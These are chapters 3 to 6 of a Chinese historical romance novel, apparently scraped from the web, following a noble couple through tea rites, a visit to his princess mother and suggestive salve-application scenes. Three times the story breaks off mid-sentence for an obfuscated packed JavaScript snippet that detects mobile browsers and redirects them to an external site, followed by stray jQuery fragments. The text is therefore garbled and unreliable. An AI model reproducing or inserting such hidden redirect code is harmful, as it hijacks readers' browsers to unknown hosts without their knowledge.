“嬷嬷。”声音哑得连她自己的吓一跳。
“娘子。”杜嬷嬷早就等久了,听见声音赶紧上前,“还有一刻钟就辰时了,今日娘子需得同郎君一起去给长辈敬茶,可不能耽误了吉时。”
“好。”盛菩珠闭着眼睛哼了哼,享受最后那一点松泛的懒意。
当初谢执砚走得急,他们夫妻二人连茶都未曾敬,依着规矩,今日是得补上,算是全了当初作为新妇的礼。
杜嬷嬷给她喂了温水,眼底心疼都快掩饰不住,慈爱替她理顺鬓角翘起的发丝,轻声道:“今日事紧,等敬了茶,娘子回来补眠,晌午后还得与郎君一同去天长观拜见寿康公主娘娘。”
盛菩珠照旧闭着眼睛点头,人却不动,她性子自小疏懒惯的,在闺阁中做姑娘的时候,虽会被长辈拘束着学规矩,但作为家中长姐,又是最灵气聪慧的那个,在家里时就算祖父祖母多疼惜几分,大家也不会觉得偏颇。
所以赖床这种事,在盛菩珠的认知里,不属于不规矩。
她手脚软得像一团被揉捏过度的面,最不适的当数身下那处,根本不想动,只能软着声音撒娇:“嬷嬷你去匣子,把祖母给我的那小罐药膏拿来。”
“婢子这就去。”
盛菩珠脚尖踢了踢,慢慢翻了个身,把脸颊蹭进柔软的枕头里。
下一刻,她觉得脸颊凉凉的,有什么圆润且坚硬的东西压到她耳朵了。
迷迷糊糊睁开眼睛看过去。
嗯?
怎么有些熟悉。
等看清楚是什么东西的时候,她拥着锦衾,一下子坐起来。
她的宝贝白玉算盘!
盛菩珠惊得连呼吸都要停了,有一种白日见鬼的感觉,难道……
她不免联想到另外一件,已经快被她忽略的大事!
那就是!
谢执砚认出在琳琅阁上的人是她了?
“娘子。”杜嬷嬷拿了药膏递上前,表情欲言又止。
盛菩珠思绪被打断,朝她摆摆手后放下纱帐:“嬷嬷不用担心,我自己来就行。”
虽然杜嬷嬷是从小照顾她的,但她都已经嫁人了,况且还是那样私密的地方,盛菩珠觉得只是上一个药而已,有什么难的。
她伸手扯掉锦衾,怎么也没料到就是这样简单的动作,全身都在隐隐作痛,肩腰像是被人折断又重新拼起来,连灵活的指尖都不听她的指挥。
盛菩珠才勉强把贴身的寝裤褪下来,忍着不适挖出一块淡粉色的药膏在指尖,毕竟是那样羞于启齿的地方,她摸索许久还是不得其法。
正想叫杜嬷嬷来帮忙。
正好帐子外有脚步声走近,盛菩珠只当是杜嬷嬷关心她许未有动静,过来询问的。
“这止疼消肿的药膏,我一人是没法用好的。”
“嬷嬷能不能帮……”余下的话,她全都卡在喉咙里,撩起纱帐一角的手僵在半空中,一双眼睛瞪得圆圆的,身体还维持着那种极度别扭的姿势。
柔软的海棠红的织金锦衾堆叠在她纤细不盈一握的腰上,一双笔直的长腿,玉足穿着罗袜,露出一截雪白的脚踝,像是被造物主精雕细琢,红梅开在雪里,顺着平滑的弧度,有些若隐若现的地方,恰巧被锦衾挡住。
只是惊鸿一瞥,他本该退远的,浓黑如墨的眼眸沉了沉,他止住脚步。
盛菩珠想躲,身体绷得像弦一样,身上那处就更疼了。
谢执砚叹了口气,视线只是端方落在她拿药的手上,声音低沉:“别动。”
他穿戴整齐,但鬓角是潮的,几缕黑发贴在冷白的颈项,身上有刚沐浴后的皂香,应该是在外院书房,因为那香不是她房里常用的。
“我……”盛菩珠脑子乱糟糟,想解释,却又难开口。
“给我吧。”谢执砚目不斜视,在一旁坐下,拿过她手里的药膏。
他目光清明,两人对视,反而是盛菩珠立刻避开,那种感觉,明明他什么都没做,但身体的记忆却是诚实的。
谢执砚的手很好看,修长有力,衣袖卷上去,露出肌肉紧绷的手臂,指尖沾着粉色的膏药,动作一丝不苟,连眼神都没有出现半分变化的冷静自持。
可盛菩珠还是不可避免注意到,他身上那处,已然显出帷幄之态。
就连她自己也因为红肿的位置有些深,药膏的冰冷加上手指的温度,身体的热气像
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740103|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是没了,还有一股难以言说的异样,不受控制微微地发抖。
许久。
盛菩珠拿了帕子递给她,声音很轻,故作镇定:“谢谢。”
谢执砚颔首,垂着眼帘,慢条斯理地把指尖上混着膏药的水色擦拭干净。
盛菩珠往锦衾下缩了缩,根本不敢看他的眼睛,只能盯着他手肘上方露出一截的白色绷带。
她声音闷闷问:“你手臂上的伤,可要用药?”
谢执砚没有出声,等把手里那块绣着山茶花的帕子规规矩矩折好,才道:“小伤无碍。”
“哦,好。”盛菩珠反应动作都像是慢一拍,轻咳一声,才点点头。
等差不多在巳时前一刻,夫妻两人准时出现在颐寿堂。
盛菩珠人才刚进去,就听见长房大夫人秦氏笑吟吟调侃:“好孩子,快些过来。”
“昨日你祖母一夜未睡,早晨天刚亮她老人家就派了嬷嬷过来寻我,必定要府里上下准备妥帖,就等你和郎君一同敬茶。”
“这孙媳的茶,你祖母可整整盼了两年。”
盛菩珠朝老夫人行晚辈礼,她只当听不出秦氏的话意有所指,笑道:“让祖母费心了,是孙媳不孝。”
“正好眼下入冬,就当祖母疼惜孙媳,孙媳明儿还是去祖母屋里住些时日,陪您喝茶解闷?”
老夫人拉过盛菩珠的手,亲昵地拍了拍:“你个鬼机灵,我身边有的是人哪里需要你解闷,你是想吃我院子小厨房煮的暖锅吧?”
“你若要吃,尽管把将嬷嬷叫过去给你煮锅子,若是喜欢,就留在身边也行。”
秦氏霎时被堵了个没声,将嬷嬷煮得一手好药膳更是懂一些医理,当初她儿媳有孕,也不是没有打过要借将嬷嬷去给儿媳调理身体的主意,奈何老夫人就当没听懂。
哪怕心里憋得窝火,秦氏面上照样笑得四平八稳。
盛菩珠瞥了秦氏一眼,心里清楚她嫁入靖国公府两年,因为婆母身为大公主不住府中,公爹也常年往返于国公府和大公主住所,所以平日她不用晨昏定省,也无需伺候长辈,最多只是陪府里的老夫人崔氏吃顿饭。
恐怕是不常露面,自然会让人以为她没有夫君撑腰,就是个怕事好拿捏的性子。
清凌凌的视线从靖国公府各房众人脸上掠过,乌泱泱一大家子人,每个人脸上都带着笑,只是不知真心还是假意。
盛菩珠勾了勾唇,她不主动惹事,不代表怕事。
“敬茶吧。”
靖国公显然心情很好,他才不管众人在想什么,大手一挥就是吩咐。
“儿媳给父亲、给祖母敬茶。”盛菩珠站在谢执砚身旁,两人同样行止有度,礼节规矩都是顶顶好的,一眼看过去,就像是仙宫里的金童玉女。
“哈哈哈,好!”靖国公放声大笑,给了一个看着就很厚的红包,“你母亲那份,等晌午过后你与三郎一起去。”
“是。”盛菩珠点头。
待敬茶礼结束,已经是半个时辰后。
盛菩珠扶着杜嬷嬷的手,慢悠悠跟着谢执砚往外走,等快到韫玉堂的三岔路前。
“夫人。”谢执砚停下来看她,像是在斟酌什么。
盛菩珠站在抄手游廊看着花园里的落雪,她笑得贴心又温柔:“郎君尽管去忙,有什么事随时让人来唤我。”
她心里就差再次拜菩萨了,他忙点好啊,她着急回去补觉呢。
谢执砚当即就把要说的话咽回去,他的确抽不出空,依照规矩也算是圣人给的补偿,已经单独给他批七日的假。
既然妻子贴心,他自然不必烦心。
只不过当谢执砚坐在书房,翻着手里的书,视线却不由盯着自己冷白的指尖,那种湿润的感觉依旧萦绕在皮肤上,方才给她涂药……
并不干涩。
4. 第 4 章
隐秘的幽径深处,连带着那点湿润,争先恐后揉进指腹的纹路里。
谢执砚猛地一顿,深深抿紧的唇,如同一条冷厉的直线,一股极为荒谬的情绪涌上心头。
他神色晦暗莫名,但很快又镇定下来。
修长指尖不着痕迹抚平书页上捏出的折痕,淡定翻过一页。
书房外,北风撕扯着松枝上的积雪,一片静谧中,唯有墨汁在宣纸上晕开的“沙沙”声。
“郎君。”书童青士恭敬站在廊外。
谢执砚抬起头朝窗外看了一眼,白茫茫的大雪中,青士身后还跟着一个青衣婢女:“何事?”
青士压低身形道:“回郎君,是世子夫人派了身边的金栗姑娘过来了。”
谢执砚搁下蘸满浓墨的毛笔,站起身走到门前,俊雅的脸上并没有什么情绪:“夫人有何吩咐?”
金栗跟在青士身后,朝书房内那个有些模糊的高大身影屈膝行礼。
她很有规矩,全程只低头看自己的脚尖:“郎君,夫人派婢子请示,您从玉门关带回来东西,夫人已经全部分门别类收拾妥帖,是否让人送至书房?”
谢执砚似觉指尖温润犹在,略顿几秒,眼睫方掀起,一双眼眸漆黑如墨:“寻常衣物留在韫玉堂便可,书册和笔墨纸砚让人送到书房。”
“是,婢女这就去回禀夫人。”金栗恭敬退下。
谢执砚看向守在廊下的书童,忽而淡声道:“青士,往后你与斑奴依旧就留在书房听候差遣。”
“是,小人记下了。”青士点头,唇已经冻得有些青白,今日的雪实属下得有些大。
谢执砚朝他摆摆手:“你先下去歇着,不必留在这里。”
青士躬了躬身,赶紧退下,他实在是冷得厉害。
百年谢氏,数十代人的积累,一千八百零一条族规,婚前不置通房、严禁纵欲,婚后不得冷落妻子,就连外院书房禁烧地龙,也不置炭盆这样的小事,都同样一笔一画刻在谢氏的规矩里。
有些看似并不重要或者不可理喻的族规,却是这百年里,谢氏族人用鲜血和生命换来的教训。
所以从娶妻那日起,谢执砚理所应当认为,谢氏族规不得冷落妻子,当然也包括保持规律的夫妻敦伦,既要敦伦,自然得每夜同床而眠。
床榻上,盛菩珠闭着眼睛半张脸都埋在锦衾,卷翘的睫毛垂着,呼吸绵长,显然是睡得很熟。
“娘子,该醒了。”杜嬷嬷站在帐子外,手里小心地托着一张吸饱了水的丝帕。
“太累了,嬷嬷我睁不开眼。”她嗓音带着不太清醒时才有的绵软,像在温水里化开的花蜜。
杜嬷嬷根本不舍得把人闹醒,而用慈爱耐心的声音道:“方才娘子午睡时,婢子几人已经替娘子把郎君带回的东西每样分类整理妥帖,也让人特地去书房请示过郎君。”
盛菩珠半梦半醒,声音囫囵道:“还是嬷嬷最懂心疼我,是该分类细致整理好,你知我最不愿费脑子这些琐事。”
“唔?”
“那全部东西,都让人送去书房了吗?”发丝贴在她睡得红扑扑的脸颊边,尾音轻得都快不成调了。
眼看又要睡过去,杜嬷嬷赶紧道:“依着郎君的指令,书册和笔墨纸砚都让小厮搬到书房去了,只不过……”
杜嬷嬷声音顿了顿:“郎君特地交代,把衣物全部留在韫玉堂。”
“嗯??!”盛菩珠撑着没骨头似的身子,一下子坐起来了,险些又栽回去。
“嬷嬷没有唬我?”她伸手撩起纱帐,雪白的寝衣领口下露出一截纤细柔美的颈项,正仰着头睡眼惺忪往外看。
天可怜见,好歹是醒了。
杜嬷嬷松口气,赶紧递上帕子:“婢子怎么会拿这种事来唬您,特地派了咱们最稳妥的金栗去书房请示过郎君。”
盛菩珠觉得天都塌了。
不说朝中官员每旬依例有休沐假,就算是府里的婢子小厮,也同样是排好每日轮值的时辰,人人都有歇息的时候。
怎么到她这里,谢执砚就要日日睡在韫玉堂啊!
那她还怎么寻借口出府去琳琅阁里做生意,又怎么忙里偷闲在夜深人静的时候看话本子消磨时间,还有夫妻敦伦,到时候会不会很频繁啊!!!
就像昨晚,到后来,她都感觉自己快被撑死了。
“唔,嬷嬷我怎么觉得有些头晕,指不定是病了,恐怕需得单独静养一些时日。”盛菩珠单手揉着太阳穴,顺势往身后歪倒,装出一副弱不禁风的模样。
奈何她气色实在好,白皙透粉的脸颊,双唇红润饱满,又是生得那样一张秾丽鲜活的脸。
根本装不出半点虚弱。
“娘子,这是好事,至少说明郎君心里头有你。”杜嬷嬷并不担心,甚至脸上还挂着隐约的笑。
盛菩珠从出生起,就是一直是杜嬷嬷贴身照顾,一晃这么多年,她如何不希望自己的小主子能一直这样快乐康健。
杜嬷嬷一生无儿无女,从一开始所有的爱都倾注在盛菩珠身上,若她的小主子能够夫妻和睦,她乐见其成。
“罢了,罢了。”
“嬷嬷先扶我起来换衣梳妆,今日要去给寿康长公主娘娘敬茶,我可不能迟了。”
盛菩珠伸手推开窗子,夹着雪沫的冷风拂在脸上,等差不多清醒,才坐到梳妆镜前任由四个贴身婢女围着她梳头上妆。
杜嬷嬷特地端来博山炉放花几上,香炉里熏了香丸,应该特意加了薄荷及冰片,闻着清凉,就连午睡后的倦怠都渐渐淡了。
盛菩珠弯着唇,朝杜嬷嬷笑,因为在这些细微末?有时连她自己都不曾注意到的小事上,她们总会用足了心思。
“郎君。”
隐约听到屋外有人行礼的声音,盛菩珠脸上笑容顿了顿,朝支摘窗外瞄了一眼,正巧看到谢执砚逆着光走来。
窗外一片纯白的雪色,除了零星几点翠绿外,只有那个高大的身影,一袭品月色圆领窄袖袍衫,领缘滚着孔雀蓝的贴边,衣袂翻卷,露出袖口用金丝线绣的宝相花纹。
那紧窄有力的腰,被玄黑色的革带缚紧,足下是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740104|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
双乌皮六合靴。
盛菩珠眸子睨着那道实在是过于好看的身影,就连男人毫无情绪抿紧的唇,那点微妙的弧度,都好似蕴藏着千万种优雅。
他从回廊走到她面前,一共用了二十七步,每一步都规矩严谨,分毫不差。
这男人是玉尺成精了吗?
盛菩珠眼中带着那种纯粹对美好事物的欣赏,心底还不忘小小的腹诽一番。
迎上他居高临下望过来的视线,盛菩珠仰起头,一双会说话似的眼睛眨了眨:“郎君,妾身正在梳妆,就不起身行礼了。”
行礼是小事,而且事出有因,眼下四个婢女外加一个嬷嬷围着她,看起来的确不太方便。
谢执砚略微沉思,颔首道:“无碍,你继续便可。”
他走到她常坐的那张软榻前,并没有坐,而是随手拿起紫檀八仙桌上搁着书。
幸好那书——
他刚回来那日,她就让耐冬换成了诗词,盛菩珠悬着的一口气半松,不禁再次感慨自己未雨绸缪,不愧是极其聪慧的女郎。
一个时辰后,垂花门外。
盛菩珠扶着清客的手,登上马车。
“让郎君久等。”她朝谢执砚屈膝行礼,雪白的狐裘翻领大氅裹得严实,双耳戴着耳衣,同样是毛茸茸的白色,还特地做成狐狸耳朵的模样,只露出那张光彩照人的小脸,那模样瞧着实在可人。
“下不为例”四个字,在他唇齿转了一圈,对上她无辜的目光,清澈透底,好似盈满了笑。
谢氏族规第三条,婚后不得冷落妻子。
男人薄冷的唇抿了抿,淡淡道:“无碍。”
“谢谢郎君体贴。”盛菩珠有些狐疑看他一眼,但还是心情很好地弯了弯唇,在男人身旁坐了下来。
随着她的动作,大氅下丁香色大袖襦裙若隐若现,那是一种紫中透粉,端方温柔的颜色,腕间珍珠手钏随着马车轻微地摇晃,叮当作响。
车内很静,谢执砚向来就是沉默的性子,盛菩珠倒是有些坐不住了。
嫁入谢氏的这两年里,她每月都会去天长观陪寿康长公主一两日。
一个时辰的距离对她来说,不就是在马车上看话本子么,实在不行,就加点零嘴,或者让几个婢女陪着说说话。
哪里会像今日这样,端坐着不说,还不能打瞌睡走神。
想看话本子,那更是天方夜谭。
“郎君,今日怎么不骑马?”盛菩珠没话找话。
谢执砚目光一凝,当着她的面,慢慢伸手推开车窗。
北风刮着鹅毛大雪,官道两旁积雪都快没至膝盖了,那风刮在人脸上,像刀子落下一样的疼,只要是正常人,就不会在这种天去骑马。
盛菩珠捂着小脸本能往他身后藏了藏,一双大眼睛里盛着浓浓的懊悔。
谢执砚垂下眸,意有所指问:“夫人当真确定?”
死嘴,她刚刚说了啥。
啊!
她可真是能耐了!
这样的大雪天,竟然问他怎么不去骑马?
5. 第 5 章
盛菩珠长睫眨了眨,因为心虚的缘故,眸底泛着一层盈盈的水光,是迷离动人的模样。
“妾身方才说笑呢,这种天气,让郎君去骑马……”
“那岂不是杀人诛心?”
谢执砚垂眼看她,缄默片刻,似笑非笑扯了一下唇。
后半段程的路,盛菩珠不敢再走神,可能因为提心吊胆的缘故,时辰反而比前半程过得快了许多。
漫天飞雪中,马车在天长观前稳稳停下。
谢执砚先一步掀帘跳下马车,等盛菩珠提着裙摆站在车辕上时,眼前伸出一只玉白的手。
“雪大,夫人小心脚下。”他声音平直,语调低而缓慢。
盛菩珠因为站得高,第一次这样自上而下地看他,不是居高临下,而是一种近距离的细腻揣摩,带着女子心思里独有的好奇。
风雪交加,他身影清冽,立于白皑皑的雪中,深邃俊逸的五官,像覆了一层月纱的脂玉,让人不禁心生妄念,想要拢在手心。
无与伦比的美色,简直令人毫无招架之力。
“夫人?”谢执砚见她走神,缓了声音又喊一声。
“啊?”盛菩珠心口无端地一跳,赶紧垂下眼睛。
“谢谢郎君。”她小声说,还不忘故作镇定朝他笑了笑,柔软指尖轻轻落在他宽阔的掌心上,微微泛寒的肌肤,冷得她不禁一颤。
只不过他力道用得实在巧,稍稍一托,便把她稳稳地扶下马车。
谢执砚见她站稳便松开手,让出位置,一旁候着的婢女立刻上前替她整理衣裙。
天长观前,早有嬷嬷等候在此,见两人下了车,赶紧恭敬上前行礼。
“今儿雪大,依着寿康长公主娘娘的意思,本不必特地过来给她敬茶。”
“是郎君和娘子有心了。”
“礼不可废。”谢执砚撑着伞,神色很淡。
比起他,盛菩珠脸上的神情就像明媚的春夏:“母亲体贴,我们可不能托大。”
“再说这天长观的雪景可是大燕国四绝之首,我常常来此,也是托母亲的福。”
严嬷嬷平日那张因不苟言笑,而显得严肃的脸,几句话就被哄得笑出了褶子:“长公主昨日接到消息就盼着娘子,可惜雪大,长公主心疼娘子路上冻坏。”
“天刚亮就让人给靖国公府递消息不必来回折腾,没想到娘子和郎君还是来了。”
谢执砚有些意外看了盛菩珠一眼,严嬷嬷除了他母亲外,无论对谁都是一板一眼的严肃,何曾有过这样的亲昵。
盛菩珠只当看不懂他眼中那点意外,心里却哼了哼。
他也不想想,不在长安的这两年,到底是谁替他承欢长辈膝下,她人本就生得貌美,加上心思细腻,更了生了一张漂亮的能说会道的小嘴。
往深了说,她还是寿康长公主亲自挑选的儿媳妇,她们能不喜欢吗!
盛菩珠骄傲得在心里叉腰,她在慈爱的长辈眼中,那可是万金不换的宝贝金疙瘩,不然琳琅阁的生意是怎么做起来的,当然是因为喜爱呀。
“菩珠。”
“我的儿哟,你可算是来了。”寿康长公主拉过盛菩珠的手,亲昵拍了拍,一点不带犹豫地把自己的手炉塞过去,“你那个凉了,用我这个新换的,别冻坏了。”
“谢谢母亲。”盛菩珠抿唇甜甜一笑,乖巧接过捧在手里。
“哟,这是谁家郎君,怎么跟着我儿菩珠一起来了? ”寿康长公主变脸好快,在谢执砚开口前抢先夺了话语权。
“儿子给母亲请安。”谢执砚朝眼前美艳的妇人恭敬行了稽首礼。
寿康长公主面上笑得优雅,嘴上却一点也没有要饶过他的意思:“你还认得我这个母亲啊,明知道要走也不说一声,若不是后来从玉门关传来大捷的消息,我们竟连你去了哪也不知。”
“阿娘……”谢执砚眼神深晦。
寿康长公主仿佛知他所想,斩钉截铁道:“多余的话你不必说,一辈子藏在心里,你只要记住,你是你阿耶唯一的血脉,也是我肚子里唯一活下来的孩子。”
“这个事实谁也不可能改变。”
她慢慢蹲下,平视着那双和她如出一辙的眼睛。
“三郎。”
“既然回来,日后不要再拿命去冒险了。”
谢执砚一如既往沉静地看着长公主。
“算了!”
“只要我够坚强。”长公主瞪着谢执砚,这两年来的担忧和害怕全都堵在胸口,但自己生的儿子,她比谁都了解,他若能就此屈服,那他就不是冷若冰霜的谢家三郎了。
那些叫她痛心的话,不听也罢。
长公主喘了口气,自己先站了起身,随意挥了挥手:“起来吧,你也不嫌地上凉,等过几日雪停了,你记得陪菩珠回一趟娘家,要按着回门礼的规矩置办。”
说完她不解气似的,用涂着蔻丹的指尖揉着眉心,微抬下巴道:“菩珠她阿娘身子骨弱,你可别这副冰冷冷的模样气人。”
盛菩珠全程乖乖坐在一旁,双手托着手炉,她就像观察那镂空雕花入迷,全然没注意母子俩的谈话,那怡然自若的模样,任谁看了都会真心喜爱这样识大体的小娘子。
她知道长公主之所以称谢执砚为三郎,是因为当年长公主在怀胎五六个月大时,入宫请安不小心滑了一跤,导致小产,生下来的是一对已经成型的男胎。
寿康长公主最开始没能留住的那两个孩子,成了她心中不可言说之痛。
所以谢执砚平安出生,他虽是靖国公府嫡长孙,但私下长公主还是唤之为“三郎”。
“菩珠,过来,来母亲这儿。”
“今儿雪大,你们就在天长观住一晚,等明日再回去。”长公主眼中尽是慈爱。
“嗯,一切都听母亲的。”盛菩珠这才止住思绪,声音轻柔上前。
“三郎觉得如何?”寿康长公主问。
“好。”谢执砚自然不会在这种小事上计较。
待夫妻两人敬完茶,盛菩珠得了一个沉甸甸的红封。
直到入夜,月色斑驳。
盛菩珠单手托着发尾,另一只手拿着巾子在擦发梢上沾染的水汽。
天长观到底不如府中方便,她简单沐浴过,就让伺候的人全都各自去休息,不必留在屋中。
这间厢房是她每回月过来固定睡的屋子,黄花梨木的床没有府中大,两个人睡也不知会不会显得拥挤,简单的天青色帐子,帐顶的承尘绣着雅致的仙鹤和祥云。
盛菩珠擦干头发,也不知想到了什么,听着隔间的水声,脸颊微红扯下帐幔。
她身下依旧不适,祖母给的药膏若是不涂,前一次就白费了。
可如果自己上药,她不确定能不能成功。
只纠结片刻,盛菩珠还是从随身携带的荷包内,掏出一个和胭脂盒差不多大小的天青色带盖瓷罐,侧耳倾听,确定隔间浴室断断续续的水声依旧,她才鼓足勇气小心翼翼打开瓷盖。
屋里灯芒昏暗,加之她又刚好逆光坐着,薄薄的帐子给人一种厚重的错觉,朦胧的天青色显得一切都那样模糊不清。
盛菩珠忍着不适小心撩起衣摆,慢慢褪下里裤。
她将一条腿曲起来,以食指从瓷罐里挑出一块粉红色的药膏,白皙的颈项低垂,长睫轻颤。
摸索许久,指尖沾着的药膏被她体温烫得几欲化成水,她觉得难受,可那里实在隐秘,她有些怕,根本不敢用力。
薄绸缝制的里裤,卷得凌乱,又止于层叠堆积锦衾下方。
隐约有月色从云层里漏出来,帐幔兜不住的皎色,落在盛菩珠纤窄莹白的腰上,顺着平滑的腰线往下,那雪白的长腿,就这样,明目张胆晃在昏朦的夜色里。
寂寥的初冬寒夜,炭盆的余热像是要把空气烤透,秾丽曼妙的倩影落在青色帐幔上,几许微茫,更像是一场“蓄谋已久”的诱引。
谢执砚从浴间出来,脚步蓦地一滞。
非礼勿视,他不着痕迹侧过身。
静谧之下,就会把一切细不可查的动静无声放大,连克制呼吸都清晰可闻。
谢执砚皱了皱眉,走至桌前给自己倒了一杯热茶。
也不知过了多久,烛光轻爆,灯影晃了晃,他不动声色端起杯中早已凉透的茶水,一饮而尽。
在他仰头的瞬间,帐幔中溢出一声柔软又显无奈的叹气声,他握着杯盏的手掌好似顿了一下,搁下时发出轻微的响声。
冷白的指节,克制地在桌沿上敲了敲。
盛菩珠先是一惊,然后慢慢转过脑袋,身体一寸寸地僵住了。
满室清辉,月色透过窗纸落下来,帐幔外的一切都变得毫无遮挡,显得那样直白而清晰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740105|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
她握着药膏的手掌心一紧,勉强维持所剩不多的理智,侧过身的同时,伸手扯过锦衾盖在身上。
至于掌心里的瓷罐,慌乱之下,她只来得及往软枕下一塞。
盛菩珠觉得整个耳朵都快滴血了,脸颊更是烫得不像话,偏偏她还得假装镇定,抬手挑开帐幔,清了清嗓子道:“郎君,我有些累,准备睡了。”
“郎君若是无事,也早些安置。”
谢执砚走上前,目光落在她身上良久:“伤势如何?”
“嗯?”盛菩珠一开始是懵的,直到和他平静的眼眸对上,他视线并不遮掩,而是直白落在她身后的蜀锦软枕上。
“嘶……”
盛菩珠不知道想到什么,先是倒吸一口凉气,身体反应出的拒绝都无需掩饰。
她朝他摇头:“并未好全。”
“好。”
“我知道了。”谢执砚把帐幔重新放下,转身去了浴室,双手用热水洗过数遍,被烫红了的指尖终于有了少许热意。
他知道什么?
盛菩珠呆滞着,直到男人去而复返,她依旧有些回不过神。
“今晚不能。”她抿了抿唇,认真看着他,“而且这是里道观。”
“药膏。”谢执砚朝她伸出手,一如既往地冷淡。
盛菩珠顿时傻了眼,只觉得脑袋“嗡”的一声,脸颊火烧似的。
她抖了抖唇,想要解释,结果结结巴巴半天,来了一句:“这里是道观,算破戒吗?”
谢执砚很淡的眸光看她,动作却没有半分犹豫,两指沾满药膏,力道很轻也很坚定……
雪一直在下,厢房里的温度,比盆里的炭火更撩人。
盛菩珠抖了一下,下意识跟个懒猫似的绷直身体,她感觉自己像是要被烫坏了,红润饱满的唇微微张开,空气凝滞,连呼吸都变了模样。
那药膏有些粘在外边,冰凉滑腻,她身体内莫名其妙多了一股湿漉漉的潮气。
“好了吗?”她不由蹬了蹬腿。
谢执砚嗯了一声,高大的身影几乎将她笼住,他站起身,不动声色把手背到身后。
指尖上的水渍,在烛火下泛着诱人的亮色,拇指抚过,像是皮肤吸饱了水分。
“郎君。”盛菩珠浓的眼睫颤了一下,忽然用很软的声音喊他。
“你能给我去浴室拿一个干净的巾子?”她想了想,还是解释一番,“方才你也许把药膏抹多了,我感觉药膏已经多到溢出来,得用巾子擦擦。”
谢执砚沉默了好一会儿,目光深邃复杂。
盛菩珠被看久了,不确定地问:“难道我说错了?”
“没有。”谢执砚微不可察叹了口气,声音出奇的平静。
夜凉如水,只有偶尔枝丫被积雪压垮的声音。
谢执砚闭眼躺在榻上,眉心轻轻蹙起,他并未睡着,空气里淡淡的香,被温热的炭火烘烤过后,萦绕鼻尖,连呼吸都是甜软的。
他只要侧过身,就能看到那香的来源,独属于她身上的,干净甜美,馨香馥郁。
就像是从泥沼,一下子被拉到透明无垢的云端,战场上所有的血腥惨烈成了过眼烟云,太过纯净,反而让他情绪成了另一种极端,最直白反应在这具年轻的身体上。
当脉搏跳到第一千下的时候,身体的坦诚依旧让他无济于事。
……
等到后半夜,盛菩珠被一阵水声吵醒,她困顿睁开眼,发现身边是空的。
谢执砚在沐浴?
这么冷的天?
为什么?
她脑子里乱糟糟想着,觉得更冷了。
就在半梦半醒的时候,身旁床榻微陷,一股冰一样寒冷的气息贴近她。
“唔?什么东西?”她倦眼迷离伸出手,隔着薄薄的布料,摸到了紧绷而充满力量的身体。
但是……
这也太冷了吧,就像天长观后山的那片湖。
盛菩珠一个激灵,人已半醒:“郎君去沐浴了?”
“太热。”谢执砚嗓音有些沙哑。
热吗?
盛菩珠瞌睡连连,根本没注意到他的异常,直冷得往角落里缩,心底迷迷糊糊想着——
究竟是哪里热啊?
平日看他已经是拒人于千里之外的寒凉性子,居然还这么怕热?
6. 第 6 章
翌日。
五更将近,晨光熹微。
“唔~”盛菩珠蹙着眉心,睡意蒙眬想在被窝里翻了个身,可手脚又热又重,身体被压得几乎做不出别的动作。
她挺翘的鼻尖渐渐闷出一层薄汗,雪白的玉臂从层层锦衾下挣出来,珍珠手钏缠在凝脂皓腕上,被汗水浸润,柔柔的珠光映在晨昏里,像是碎星的辉芒。
“好热……”一声嘤咛,从唇齿间溢出,像猫儿困懒的调子又绵又娇。
她闭着眼睛,人像是已经热懵了,脸颊嫣红如同喝醉一般,身子陷在被褥下,怎么也挣不脱,于是闹脾气似的,往侧边踢了踢脚尖。
“砰”的一声,也不知道踢到了哪里。
好在她终于从滚烫的热源中挣脱出来,淌着香汗的指尖,在身侧摸了摸,整个人迷迷糊糊往那凉意的源头紧贴过去。
恍惚间,她好似闻到一缕幽沉的柏子香,混着一股特殊的清冽气息。
盛菩珠抱着那团“冰”,终于不动了,她眼角眉梢都写满了餍足二字。
谢执砚醒了,在她贴近的瞬间就睁开了眼睛,漆黑的眼眸,在昏暗的光里尤显明亮。
他一贯内敛,更有君子的教养,所以并没有动,而是静静看着那团睡熟的身影。
原本都盖在她身上的两床锦衾,已经被她踢开大半。
可能是因为太热,微松的衣襟下,露出半截脂玉似的颈子,薄薄的布料裹着那玲珑身段,有细密的汗珠从鬓角凝出,几缕青丝贴在脸颊上,像吸饱了诱惑。
他被她抱在怀里的手臂,同样像是被烫着一般,掌心生汗。
谢执砚不着痕迹避开视线,伸手掀开帐幔,让外边的微凉的空气涌进来。
也不知过了多久,盛菩珠应该是感觉到冷了,她抱着他手臂的掌心蜷了蜷慢慢松开,嘴里咕哝一声,半梦半醒胡乱摸索到锦衾,就囫囵往身上扯。
谢执砚静静看了她片刻,微蹙的眉心像是松了半分。
也不知她到底是怕冷,还是怕热。
